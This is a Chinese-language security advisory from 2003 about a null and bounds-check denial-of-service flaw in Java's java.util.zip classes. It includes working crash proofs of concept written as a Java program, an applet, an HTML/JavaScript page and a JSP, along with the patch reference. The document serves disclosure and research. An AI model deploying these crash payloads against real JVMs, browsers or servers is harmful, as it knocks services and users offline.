安全研究
安全漏洞
多家厂商JAVA虚拟机Java.util.zip Null值远程拒绝服务攻击漏洞
发布日期:2003-03-15
更新日期:2003-03-20
受影响系统:
Sun JRE (Linux Production Release) 1.4.1_01不受影响系统:
IBM JDK 1.3.1
Sun JRE (Linux Production Release) 1.4.1_02描述:
BUGTRAQ ID: 7109
多家厂商Java实现包含java.util.zip可信类。
java.util.zip类包含的多个方法对输入缺少正确检查,远程攻击者利用这个漏洞对Java虚拟机进行拒绝服务攻击。
java.util.zip包含多个方法来接收外部参数,但是对于外部参数没有正确检查,如果这些方法调用的参数为NULL值,就会导致Java虚拟机到一种未定义状态而产生不可预料的行为,使虚拟机崩溃。
<*来源:Marc Schoenefeld (marc.schoenefeld@uni-muenster.de)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104775377221318&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
1,JVM崩溃
下面的应用程序可以使Sun JDK1.3.1, 1.4.0, 1.4.1, IBM JDK 1.3.1崩溃,一些J2EE应用服务程序和JMX实时组件也受此漏洞影响:
public class CRCCrash {
public static void main(String[] args) {
(new java.util.zip.CRC32()).update(new byte[0] ,4 ,
Integer.MAX_VALUE-3);
}
}
2,CRCCrash.java
下面的applet可使IE6, IE5, Mozilla, Konqueror崩溃:
/**
* Describe class <code>CRC32CrashApplet</code> here.
*
* @author <a href="mailto:Marc@illegalaccess.org">Marc Schoenefeld</a>
* @version 1.0
*/
public class CRC32CrashApplet extends java.applet.Applet {
public void paint(java.awt.Graphics g)
{
java.util.zip.CRC32 crc = new java.util.zip.CRC32();
crc.update(new byte[0],4,Integer.MAX_VALUE-3);
g.drawString("Crash the browser!", 20, 90);
}
}
3,CRC32CrashApplet.java
<html> <body> <script language=javascript>
b=java.lang.String("");c=b.getBytes();a=new
java.util.zip.Adler32();a.update(c,4, 0x7ffffffc); </script>
</body> </html>
4, CRC32Crash.html:
<%@pagecontentType="text/html;charset=WINDOWS-1252"
import="java.util.zip.*"%>
<% %>
<%! %>
<% (new CRC32()).update(new byte[0],4,Integer.MAX_VALUE-3); %>
<html>
<head>
<title>Crash-JSP mit java.util.zip.CRC32.update</title>
</head>
<body>
<hr>
<h1>Crash-JSP mit sun.misc.MessageUtils.toStderr(null)</h1>
<h2> Marc Schoenefeld , marc@illegalaccess.org </h2>
</body>
</html>
5,CRC32CrashApplet.jsp
受此影响的方法和类:
java.util.zip.Adler32().update(…);
java.util.zip.Deflater().setDictionary(…);
java.util.zip.CRC32().update(…);
java.util.zip.Deflater().deflate(…);
java.util.zip.CheckedOutputStream().write(…);
java.util.zip.CheckedInputStream().read(…);
建议:
厂商补丁:
Sun
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
Sun JDK 1.4.1_02已经发布了补丁:
http://java.sun.com/j2se/1.4/
浏览次数:3386
严重程度:0(网友投票)
绿盟科技给您安全的保障